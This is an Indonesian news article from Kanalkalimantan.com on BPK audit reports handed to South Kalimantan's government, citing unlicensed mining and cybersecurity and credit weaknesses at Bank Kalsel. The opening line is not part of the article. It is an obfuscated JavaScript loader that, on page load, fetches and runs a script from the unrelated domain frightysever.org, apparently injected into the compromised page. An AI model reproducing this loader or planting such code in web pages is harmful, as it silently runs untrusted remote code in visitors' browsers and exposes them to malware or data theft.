(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H Supian HK menerima Laporan Hasil Pemeriksaan (LHP) kinerja dan PDTT tematik nasional Semester II Tahun 2025 dari Badan Pemeriksa Keuangan (BPK) RI Perwakilan Provinsi Kalsel, Senin (26/1/2026) siang, di aula Idham Chalid.

Penyerahan LHP tematik diterima Gubernur Kalsel H Muhidin dan Ketua DPRD Kalsel H Supian HK dihadiri Wakil Gubernur Hasnuryadi Sulaiman, Direktur Utama Bank Kalsel Fahrudin, para asisten, staf ahli dan tenaga ahli gubernur, serta kepala SKPD terkait lingkup Pemprov Kalsel.

Kepala BPK RI Perwakilan Provinsi Kalsel Andriayanto merinci LHP yang diserahkan, pertama LHP kepatuhan atas penyelenggaraan perlindungan dan pengelolaan lingkungan hidup serta kehutanan atas kegiatan usaha pertambangan tahun anggaran 2023 sampai dengan Triwulan III 2025 kepada Pemprov Kalsel dan instansi terkait.

Baca juga: Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

Permasalahan yang ditemukan antara lain, adanya aktivitas pertambangan tanpa izin dan di luar wilayah izin. Sehingga menimbulkan risiko kerusakan lingkungan, pengawasan kewajiban lingkungan oleh pemegang izin belum optimal, dan potensi pencemaran lingkungan serta kekurangan PNBP, termasuk denda administratif.

Kedua, LHP kinerja atas efektivitas kegiatan operasional bank dalam mendukung fungsi intermediasi perbankan pada Bank Pembangunan Daerah tahun 2023 sampai dengan semester I 2025 pada Bank Kalsel dan instansi terkait.

Permasalahan antara lain, kelemahan kualitas dan keamanan sistem informasi serta ketahanan siber, penyaluran kredit produktif belum sepenuhnya memenuhi prinsip kehati-hatian (5C) yakni criteria (kriteria), condition (kondisi), cause (penyebab), consequence (konsekuensi/dampak), dan corrective action (tindakan korektif/rekomendasi). Sehingga berpotensi menimbulkan kredit tidak tertagih.

Baca juga: Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

“Pemprov dan Bank Kalsel diwajibkan menyampaikan tindak lanjut atas rekomendasi selambat-lambatnya 60 hari setelah LHP diterima,” kata Ketua BPK RI Perwakilan Kalsel.

BPK RI juga meminta pemerintah daerah segera menyelesaikan LKPD Unaudited tahun 2025 untuk mendukung pemeriksaan interim yang dimulai pada 2 Februari 2026.

Sementara Gubernur H Muhidin mengatakan, dua LHP yang diterima berisi masalah efektivitas pengelolaan kinerja keuangan Bank Kalsel, dan pengelolaan lingkungan hidup, dan Persetujuan Penggunaan Kawasan Hutan (PPKH).

Baca juga: Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

Pemprov Kalsel, ujarnya, segera mengevaluasi apa-apa yang disampaikan dalam LHP dan menindaklanjuti direkomendasikan yang disampaikan, termasuk perbaikan kelemahannya di Bank Kalsel.

Sedangkan masalah lingkungan hidup dan PPKH, menurut gubernur, hal itu dibawah wewenang kementerian terkait di pemerintah pusat. Pemprov Kalsel bahkan tidak memiliki kewenangan menyampaikan rekomendasi.

Gubernur H Muhidin meminta kepala SKPD terkait bersama BPK Perwakilan Kalsel menyampaikan laporan ke Kementerian Lingkungan Hidup dan Kementerian Kehutanan terkait hasil laporan yang disampaikan.“Ada beberapa kegiatan pertambangan di Kalsel ujarnya, terindikasi tidak mematuhi peraturan yang ada, termasuk aktivitas Galian C,” katanya.

Baca juga: Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

Pada kesempatan itu, Ketua DPRD Kalsel H Supian HK menyampaikan, melalui fungsi pengawasan, DPRD Kalsel akan mengawal secara ketat tindak lanjut rekomendasi BPK, termasuk meminta laporan progres dari pihak eksekutif.

Supian HK menegaskan, keberhasilan pemeriksaan BPK tidak diukur dari penyerahan laporan, melainkan dari sejauh mana rekomendasi tersebut dilaksanakan secara nyata dan bertanggung jawab. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: bie


Muhammad Andi

Recent Posts

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

33 menit ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

43 menit ago

Tiga Wakil Dekan FISIP ULM 2026-2030 Dilantik, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARMASIN - Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Lambung Mangkurat (ULM) memulai… Read More

1 jam ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

5 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

6 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

8 jam ago

This website uses cookies.